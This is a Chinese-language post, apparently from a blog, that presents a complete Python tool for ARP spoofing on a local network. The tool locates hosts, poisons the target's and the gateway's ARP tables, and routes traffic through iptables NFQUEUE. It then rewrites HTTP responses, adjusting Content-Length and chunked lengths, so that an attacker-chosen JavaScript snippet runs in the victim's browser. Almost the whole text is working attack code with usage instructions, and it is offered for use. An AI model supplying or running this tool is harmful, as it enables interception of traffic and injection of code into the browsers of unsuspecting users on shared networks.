目前只能对头协议中单单只有Content-Length与单单有Content-Length和Transfer-Encoding: chunked进行,其它的还有gzip压缩过的并不能执行任意JavaScript代码
代码内容是先进行arp欺骗局域网主机拦截到其流量,再对其中的http协议的流量专门分析拦击,然后进行修改或重发,达到执行任意JavaScript代码的效果
下面代码使用于linux系统,其先进行arp欺骗,再开启两个进程一个维持arp欺骗,一个监听流量,可使用python3.6 arp.py -h 查看帮助
下面的netfilterqueue需要在python3.6环境下进行安装,配置较麻烦可查看
https://blog.csdn.net/weixin_46765649/article/details/122341425
import re
import sys
import time
from multiprocessing import Process
import netfilterqueue
import platform
import os
from scapy.all import (ARP, Ether, IP, TCP, Raw, srp1, send)
class arpSpoof:
def __init__(self, gateway, target):
self.gateway = gateway
self.target = target
def poisoning(self):
# 构建欺骗目标的包
toTarget = ARP()
toTarget.getlayer(ARP).op = 2
toTarget.getlayer(ARP).psrc = self.gateway['ip'] # 把自己的ip写成网关的进行伪装
toTarget.getlayer(ARP).pdst = self.target['ip'] # 目标的ip地址
toTarget.getlayer(ARP).hwdst = str(self.target['mac']) # 目标的mac地址
# 构建欺骗网关的包()
toGateway = ARP()
toGateway.getlayer(ARP).op = 2
toGateway.getlayer(ARP).psrc = self.target['ip'] # 把自己的ip写成目标的进行伪装
toGateway.getlayer(ARP).pdst = self.gateway['ip'] # 网关的ip地址
toGateway.getlayer(ARP).hwdst = str(self.gateway['mac']) # 目标的mac地址
while True:
try:
send(toTarget, verbose=0)
send(toGateway, verbose=0)
time.sleep(0.3)
# print("正在向网关和目标发送...")
except KeyboardInterrupt:
self.restore()
break
sys.exit(1)
def run(self):
try:
toTarget = Process(target=self.poisoning)
toTarget.start()
toTarget.join()
except KeyboardInterrupt:
pass
def restore(self):
print("\n开始恢复目标的arp表")
# # 恢复目标的包
toTarget = ARP()
toTarget.getlayer(ARP).op = 2
toTarget.getlayer(ARP).psrc = self.gateway['ip']
toTarget.getlayer(ARP).hwsrc = self.gateway['mac']
toTarget.getlayer(ARP).pdst = self.target['ip']
toTarget.getlayer(ARP).hwdst = self.target['mac']
# 恢复网关的包()
toGateway = ARP()
toGateway.getlayer(ARP).op = 2
toGateway.getlayer(ARP).psrc = self.target['ip']
toGateway.getlayer(ARP).hwsrc = self.target['mac']
toGateway.getlayer(ARP).pdst = self.gateway['ip']
toGateway.getlayer(ARP).hwdst = self.gateway['mac']
send(toTarget, count=5)
send(toGateway, count=5)
class httpSpoof(arpSpoof):
def __init__(self, gateway, target):
super().__init__(gateway, target)
self.html_list = {} # 存放tcp中含text/html的某些信息;字典,存放属于text/html类型的ack的数值与其是否为gzip的标志位和是否为chunked的标志位({ack:{gizp:True,chunked:False}})
self.other_list = []
self.script = '<script>alert("hacker come")</script>' # 自定义执行的代码
self.chunked_list_byte = [] # 存放chunked编码拦截的数据包
self.chunked_list_length = [] # 存放chunked编码拦截的长度
# 更改tcp数据后,进行数据修正
def tcpCorrect(self, scapy_pkt, new_load):
scapy_pkt[Raw].load = new_load
del scapy_pkt[IP].len
del scapy_pkt[IP].chksum
del scapy_pkt[TCP].chksum
return scapy_pkt
def process(self, pkt):
scapy_pkt = IP(pkt.get_payload()) # scapy_pkt是scapy能处理的包
# 当包为TCP包且携带Raw数据且发送原端口为80时才进行处理,否则直接通过
if scapy_pkt.haslayer(Raw):
load = scapy_pkt[Raw].load # 包里面的具体内容即网页代码
ack = scapy_pkt[TCP].ack # ack编号(同一个tcp流ack编号相同)
# 处理携带http头的包(改报文长度或处理gzip压缩过的包或处理chunked编码包)
if ack not in self.other_list and b"Content-Type" in load:
if b'Content-Type: text/html' in load:
gzip_flag = False
chunked_flag = False
# 处理gzip压缩过的包
if str(load).find("Content-Encoding: gzip") != -1 and str(load).find("Transfer-Encoding: chunked") == -1:
img_load = load[load.find(b'\x0d\x0a\x0d\x0a') + 4:]
gzip_flag = True
print(img_load)
pkt.accept()
# 处理chunked编码包
elif str(load).find("Transfer-Encoding: chunked") != -1:
chunked_flag = True
rule = '\r\\n([a-f0-9]+?)\r\n'.encode('utf-8')
bytes_length_list = re.findall(rule, load)
for i in bytes_length_list:
self.chunked_list_length.append(i)
self.chunked_list_byte.append(scapy_pkt)
# 回复服务器ack以便服务器能继续发送
tt = IP(dst=scapy_pkt[IP].src, src=scapy_pkt[IP].dst) / \
TCP(dport=scapy_pkt[TCP].sport, sport=scapy_pkt[TCP].dport,
seq=scapy_pkt[TCP].ack, ack=scapy_pkt[TCP].seq + 1, flags='A')
pkt.drop()
send(tt, verbose=0)
# 主要是改报文长度
else:
load = load.decode('utf-8')
print(load)
res = re.search('Content-Length: (.*)', load)
if res:
print(res)
length = int(res.groups()[0])
new_length = length + len(self.script)
new_load = load.replace(str(length), str(new_length))
scapy_pkt = self.tcpCorrect(scapy_pkt, new_load)
pkt.set_payload(bytes(scapy_pkt))
pkt.accept()
# 做ack标记方便下面判断(html包)
if ack not in list(self.html_list.keys()):
self.html_list[ack] = {"gzip": gzip_flag, "chunked": chunked_flag}
else:
self.other_list.append(ack)
# 处理除了http头包以外的其他包
elif ack in list(self.html_list.keys()):
# 判断是不是gzip,gzip不能被uft-8解码,还要判断是不是chunked编码格式的
# 是zip
if self.html_list[ack]['gzip']:
print(load)
pkt.accept()
elif self.html_list[ack]['chunked']:
# 匹配chunked编码里面的长度并将其加入到列表
rule = '\r\\n([a-f0-9]+?)\r\n'.encode('utf-8')
bytes_length_list = re.findall(rule, load)
for i in bytes_length_list:
if self.chunked_list_length.count(b'0') < 2:
self.chunked_list_length.append(i)
if self.chunked_list_length.count(b'0') < 2:
self.chunked_list_byte.append(scapy_pkt) # 把数据包添加到列表下面会集中发送
# 该条件成立时,意味着接收到完整的包流
if len(self.chunked_list_length) > 1 and self.chunked_list_length[-1] == b'0':
for index, data in enumerate(self.chunked_list_byte):
rule = f'\r\n{self.chunked_list_length[-2].decode("utf-8")}\r\n'.encode('utf-8')
length = re.search(rule, data.load)
if length:
# 改chunked最后一个长度
new_length = hex(int(self.chunked_list_length[-2], base=16) + len(self.script))[2:]
print(new_length)
load = self.chunked_list_byte[index].load
new_load = load.replace(
f"\r\n{self.chunked_list_length[-2].decode('utf-8')}\r\n".encode('utf-8'),
f"\r\n{new_length}\r\n".encode('utf-8'))
print(new_load)
self.chunked_list_byte[index] = self.tcpCorrect(self.chunked_list_byte[index], new_load)
# 改内容
load = self.chunked_list_byte[-1].load
new_load = load.replace("</html>".encode('utf-8'),
f"{self.script}</html>".encode('utf-8'))
print(new_load)
self.chunked_list_byte[-1] = self.tcpCorrect(self.chunked_list_byte[-1], new_load)
print("\n111\n")
print(self.chunked_list_byte[-1].load)
for i in self.chunked_list_byte:
send(i, verbose=0)
self.chunked_list_length.clear()
self.chunked_list_byte.clear()
# 回复服务器ack以便服务器能继续发送
else:
tt = IP(dst=scapy_pkt[IP].src, src=scapy_pkt[IP].dst) / \
TCP(dport=scapy_pkt[TCP].sport, sport=scapy_pkt[TCP].dport,
seq=scapy_pkt[TCP].ack, ack=scapy_pkt[TCP].seq + 1, flags='A')
pkt.drop()
send(tt, verbose=0)
# 不是gzip且有</html>内容
elif str(load).find("</html>") != -1:
print(self.html_list)
del self.html_list[ack]
load = load.decode('utf-8')
new_load = load.replace("</html>", self.script + "</html>")
scapy_pkt = self.tcpCorrect(scapy_pkt, new_load)
pkt.set_payload(bytes(scapy_pkt))
pkt.accept()
# 其它没有</html>内容的包通过
else:
pkt.accept()
# 除了text/html包之外的所有数据包
else:
pkt.accept()
# 非TCP包且携带Raw数据且发送原端口为80的包
else:
pkt.accept()
def hackerSpoof(self):
try:
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, self.process)
queue.run()
except OSError:
print("可能上一个进程没有彻底关闭,请使用ps -ef | grep python查看然后kill对应的进程(kill 进程号)")
def run(self):
if platform.system() == "Linux":
flag = os.system("cat /proc/sys/net/ipv4/ip_forward")
if not flag:
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -t filter -F FORWARD")
os.system("iptables -I FORWARD -p tcp --sport 80 -j NFQUEUE --queue-num 0")
os.system("iptables -A FORWARD -j ACCEPT")
try:
print("hacker欺骗开始...")
toArpSpoof = Process(target=self.poisoning)
toArpSpoof.start()
tohackerSpoof = Process(target=self.hackerSpoof)
tohackerSpoof.start()
toArpSpoof.join()
tohackerSpoof.join()
except KeyboardInterrupt:
pass
else:
print("请通过Linux来运行该命令")
def searchOnlyIPMac(target_ip):
packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=target_ip)
# rety = 重复次数; timeout = 每次发包超时时间; verbose = 是否打印到控制台
result = srp1(packet, retry=3, timeout=0.5, verbose=0)
if result:
hwsrc = result.getlayer(ARP).hwsrc
return hwsrc
else:
return False
def searchIPMac():
ip_mac = {}
end = 255
print("本探测功能适用于192.168.1.0/24,探测受网络通透性影响,建议重复进行几次,一次时间约3分钟,长按Ctrl-C强制停止")
for i in range(1, end):
try:
# op1为ARP请求,2为ARP响应;dst=ff:ff:ff:ff:ff:ff表示广播,局域网下用户都能接受到
packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f'192.168.1.{i}')
# rety = 重复次数; timeout = 每次发包超时时间; verbose = 是否打印到控制台
result = srp1(packet, retry=2, timeout=0.3, verbose=0)
if result:
hwsrc = result.getlayer(ARP).hwsrc
psrc = result.getlayer(ARP).psrc
ip_mac[psrc] = hwsrc
# 不同进度
if i == end // 4:
print('25%')
elif i == end // 2:
print('50%')
elif i == end // 1.3:
print('75%')
except KeyboardInterrupt:
print("\n\n")
print(f"当前的结果{ip_mac}")
print("\n\n")
sys.exit()
print(ip_mac)
if __name__ == "__main__":
try:
if sys.argv[1] == "-s":
if len(sys.argv) == 2:
searchIPMac()
else:
mac = searchOnlyIPMac(sys.argv[2])
if mac:
print(mac)
else:
print("不存在该地址或网络拥挤请重试")
elif sys.argv[1] == "-h":
print("基本命令\n"
"-s\t\t不加参数为获取局域网段192.168.1.0/24下所有的mac与ip地址-searchIPMac\n \t\t[-s ip地址]表示获取该ip的mac地址\n"
"-a\t\t发送arp欺骗;有两个参数第一个为网关ip第二个为目标ip\n")
elif sys.argv[1] == "-a":
macGateway = searchOnlyIPMac(sys.argv[2])
macTarget = searchOnlyIPMac(sys.argv[3])
if not macTarget or not macGateway:
print("不存在该地址或网络拥挤请重试")
else:
arp_spoof = arpSpoof({'ip': sys.argv[2], 'mac': macGateway}, {'ip': sys.argv[3], 'mac': macTarget})
arp_spoof.run()
elif sys.argv[1] == "-w":
macGateway = searchOnlyIPMac(sys.argv[2])
macTarget = searchOnlyIPMac(sys.argv[3])
if not macTarget or not macGateway:
print("不存在该地址或网络拥挤请重试")
else:
http_spoof = httpSpoof({'ip': sys.argv[2], 'mac': macGateway}, {'ip': sys.argv[3], 'mac': macTarget})
http_spoof.run()
else:
print("error,请输入-h获得帮助")
except IndexError:
print("error,请输入-h获得帮助")